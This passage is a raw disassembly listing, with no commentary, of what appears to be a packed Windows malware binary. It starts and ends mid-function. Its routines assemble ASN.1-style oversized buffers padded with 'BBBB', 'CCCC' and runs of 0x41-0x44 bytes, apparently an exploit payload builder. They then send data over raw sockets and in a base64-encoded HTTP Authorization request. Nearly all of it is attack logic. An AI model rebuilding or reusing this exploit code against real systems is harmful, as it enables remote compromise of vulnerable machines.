		retn	8
sub_40CB34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB6E	proc near		; CODE XREF: sub_40CC68+18p
					; sub_40CCE2+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40CBBA
		push	edi
		push	0
		push	esi
		call	sub_41BF70
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41CD20
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40CBBA:				; CODE XREF: sub_40CB6E+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40CB6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBC3	proc near		; CODE XREF: sub_40CC68+5Ep
					; sub_40CC68+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40CBD3
		push	eax
		call	sub_41BA91
		pop	ecx


loc_40CBD3:				; CODE XREF: sub_40CBC3+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40CBC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBDC	proc near		; CODE XREF: sub_40CC68+20p
					; sub_40CD43+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40CC09
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CC0D


loc_40CC09:				; CODE XREF: sub_40CBDC+Dj
		xor	al, al
		jmp	short loc_40CC64
; ---------------------------------------------------------------------------


loc_40CC0D:				; CODE XREF: sub_40CBDC+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40CC32
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40CC4C
; ---------------------------------------------------------------------------


loc_40CC32:				; CODE XREF: sub_40CBDC+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40CC4C:				; CODE XREF: sub_40CBDC+54j
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41BA91
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40CC64:				; CODE XREF: sub_40CBDC+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CBDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC68	proc near		; CODE XREF: sub_40CD9E+89p
					; sub_40CD9E+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset word_4CB88C
		call	sub_40CB6E
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CCA2
		xor	al, al
		jmp	short loc_40CCDE
; ---------------------------------------------------------------------------


loc_40CCA2:				; CODE XREF: sub_40CC68+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41CD20
		add	esp, 18h
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40CBC3
		mov	al, 1


loc_40CCDE:				; CODE XREF: sub_40CC68+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40CC68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCE2	proc near		; CODE XREF: sub_40CD16+14p
					; sub_40CD33+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CCE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD16	proc near		; CODE XREF: sub_40CD9E+F0p
					; sub_40CD9E+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CCE2
		pop	esi
		retn	4
sub_40CD16	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD33	proc near		; CODE XREF: sub_40CD7F+Bp
					; sub_40CD9E+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CCE2
		retn	8
sub_40CD33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD43	proc near		; CODE XREF: sub_40CD7F+16p
					; sub_40CD9E+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40CBDC
		test	al, al
		jz	short loc_40CD7C
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CC80
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CD7C:				; CODE XREF: sub_40CD43+Fj
		pop	esi
		leave
		retn
sub_40CD43	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD7F	proc near		; CODE XREF: sub_40CD9E+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CD33
		test	al, al
		jz	short loc_40CD9A
		mov	ecx, esi
		call	sub_40CD43


loc_40CD9A:				; CODE XREF: sub_40CD7F+12j
		pop	esi
		retn	8
sub_40CD7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD9E	proc near		; CODE XREF: .packed:0040D625p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40CB2A
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40D0F2
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40D0F2
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40CB2A
		lea	ecx, [ebp+var_20]
		call	sub_40CB2A
		lea	ecx, [ebp+var_50]
		call	sub_40CB2A
		lea	ecx, [ebp+var_18]
		call	sub_40CB2A
		lea	ecx, [ebp+var_40]
		call	sub_40CB2A
		lea	ecx, [ebp+var_38]
		call	sub_40CB2A
		lea	ecx, [ebp+var_28]
		call	sub_40CB2A
		push	4
		push	offset dword_432030
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		push	3
		push	offset dword_432038
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		lea	ecx, [ebp+var_30]
		call	sub_40CC68
		lea	ecx, [ebp+var_30]
		call	sub_40CD43
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CCE2
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CCE2
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_20]
		call	sub_40CC68
		push	offset loc_4323B4
		lea	ecx, [ebp+var_50]
		call	sub_40CD16
		lea	ecx, [ebp+var_50]
		call	sub_40CC68
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40CB34
		lea	ecx, [ebp+var_58]
		call	sub_40CC68
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CD7F
		lea	ecx, [ebp+var_58]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CD16
		push	4
		push	offset dword_43203C
		lea	ecx, [ebp+var_18]
		call	sub_40CCE2
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CCE2
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_18]
		call	sub_40CC68
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CD33
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CD33
		lea	ecx, [ebp+var_40]
		call	sub_40CD43
		lea	ecx, [ebp+var_18]
		call	sub_40CBC3
		lea	ecx, [ebp+var_50]
		call	sub_40CBC3
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CD33
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CD33
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CD33
		lea	ecx, [ebp+var_38]
		call	sub_40CD43
		lea	ecx, [ebp+var_20]
		call	sub_40CBC3
		lea	ecx, [ebp+var_30]
		call	sub_40CBC3
		lea	ecx, [ebp+var_40]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_28]
		call	sub_40CC68
		push	2
		push	offset dword_4323A8
		lea	ecx, [ebp+var_28]
		call	sub_40CCE2
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CD33
		lea	ecx, [ebp+var_28]
		call	sub_40CD43
		lea	ecx, [ebp+var_38]
		call	sub_40CBC3
		lea	ecx, [ebp+var_10]
		call	sub_40CB2A
		lea	ecx, [ebp+var_8]
		call	sub_40CB2A
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_28]
		call	sub_40CBC3
		push	offset dword_4323A4
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	offset dword_4323A0
		lea	ecx, [ebp+var_10]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		push	offset dword_432394
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	(offset	loc_43238F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40D100
; ---------------------------------------------------------------------------


loc_40D0F2:				; CODE XREF: sub_40CD9E+1Bj
					; sub_40CD9E+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40D100:				; CODE XREF: sub_40CD9E+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CD9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D104	proc near		; CODE XREF: sub_40D1C8+A1p
					; sub_40D1C8+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_42720C	; select
		cmp	eax, edi
		jnz	short loc_40D16B
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426350	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40D16F


loc_40D16B:				; CODE XREF: sub_40D104+54j
		xor	eax, eax
		jmp	short loc_40D17F
; ---------------------------------------------------------------------------


loc_40D16F:				; CODE XREF: sub_40D104+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB9EC	; recv


loc_40D17F:				; CODE XREF: sub_40D104+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D104	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D183	proc near		; CODE XREF: sub_40D1C8+81p
					; sub_40D1C8+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB9D0	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24	; send
		cmp	eax, 4
		jz	short loc_40D1AD
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D1AD:				; CODE XREF: sub_40D183+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CBA24	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1C8	proc near		; CODE XREF: sub_40D2A2+48p
					; .packed:0040D716p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D1F1
		xor	al, al
		jmp	loc_40D29D
; ---------------------------------------------------------------------------


loc_40D1F1:				; CODE XREF: sub_40D1C8+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BF70
		push	2Fh
		push	offset dword_4320CC
		push	esi
		call	sub_41CD20
		push	8
		lea	eax, [esi+31h]
		push	offset dword_4320FC
		push	eax
		mov	[esi+2Fh], di
		call	sub_41CD20
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41CD20
		push	6
		add	ebx, edi
		push	offset dword_4CE6EC
		push	ebx
		call	sub_41CD20
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_432044
		push	ebx
		call	sub_40D183
		add	esp, 48h
		test	al, al
		jnz	short loc_40D259


loc_40D255:				; CODE XREF: sub_40D1C8+B5j
		xor	bl, bl
		jmp	short loc_40D294
; ---------------------------------------------------------------------------


loc_40D259:				; CODE XREF: sub_40D1C8+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40D183
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D255
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		add	esp, 10h
		mov	bl, 1


loc_40D294:				; CODE XREF: sub_40D1C8+8Fj
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	al, bl


loc_40D29D:				; CODE XREF: sub_40D1C8+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D1C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2A2	proc near		; CODE XREF: .packed:0040D6FCp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432108
		push	[ebp+arg_0]
		call	dword_427208	; send
		cmp	eax, 48h
		jnz	short loc_40D2DD
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D104
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D2DD
		cmp	[ebp+var_20], 82h
		jz	short loc_40D2E1


loc_40D2DD:				; CODE XREF: sub_40D2A2+1Bj
					; sub_40D2A2+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D2E1:				; CODE XREF: sub_40D2A2+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D1C8
		add	esp, 0Ch
		leave
		retn
sub_40D2A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2F4	proc near		; CODE XREF: sub_40D340+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427670
		call	sub_41D174
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427668
		fstp	[esp+10h+var_10]
		call	sub_41D055
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41D174
		inc	eax
		leave
		retn
sub_40D2F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D340	proc near		; CODE XREF: sub_40D4E2+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426AA7
		call	sub_41D640
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D977
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D2F4
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D382
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D8F2


loc_40D382:				; CODE XREF: sub_40D340+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D49F
		mov	ebx, [ebp+10h]


loc_40D391:				; CODE XREF: sub_40D340+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D39B
		push	3
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D39B:				; CODE XREF: sub_40D340+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D3A5
		push	2
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D3A5:				; CODE XREF: sub_40D340+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D3AE
		push	1


loc_40D3AD:				; CODE XREF: sub_40D340+59j
					; sub_40D340+63j
		pop	ebx


loc_40D3AE:				; CODE XREF: sub_40D340+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427680
		fstp	[esp+40h+var_40]
		call	sub_41D19B
		pop	ecx
		pop	ecx
		call	sub_41D174
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D3ED
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D3ED:				; CODE XREF: sub_40D340+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D45B
		add	[ebp-18h], eax


loc_40D43F:				; CODE XREF: sub_40D340+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_432154[eax]
		push	eax
		push	1
		call	sub_40D774
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D43F


loc_40D45B:				; CODE XREF: sub_40D340+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D479
		push	dword ptr [ebp+14h]
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D7CD
		mov	[ebp-18h], edi


loc_40D479:				; CODE XREF: sub_40D340+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D493
		sub	esi, [ebp-1Ch]


loc_40D484:				; CODE XREF: sub_40D340+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D774
		dec	esi
		jnz	short loc_40D484


loc_40D493:				; CODE XREF: sub_40D340+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D391
		push	1
		pop	ebx


loc_40D49F:				; CODE XREF: sub_40D340+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		push	dword_427678
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D824
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D340	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4E2	proc near		; CODE XREF: .packed:0040D6DFp
		mov	eax, offset loc_426AC4
		call	sub_41D640
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43DB88
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D340
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BEB5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D52C
		xor	bl, bl
		jmp	short loc_40D570
; ---------------------------------------------------------------------------


loc_40D52C:				; CODE XREF: sub_40D4E2+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_427688
		cmp	ecx, ebx
		jnz	short loc_40D53A
		mov	ecx, eax


loc_40D53A:				; CODE XREF: sub_40D4E2+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D542
		mov	eax, [ebp+18h]


loc_40D542:				; CODE XREF: sub_40D4E2+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41C360
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CBA24	; send
		cmp	eax, esi
		jz	short loc_40D567
		xor	bl, bl
		jmp	short loc_40D569
; ---------------------------------------------------------------------------


loc_40D567:				; CODE XREF: sub_40D4E2+7Fj
		mov	bl, 1


loc_40D569:				; CODE XREF: sub_40D4E2+83j
		push	edi
		call	sub_41BA91
		pop	ecx


loc_40D570:				; CODE XREF: sub_40D4E2+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D977
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D4E2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432300
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB710
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AA06
		pop	ecx
		push	eax
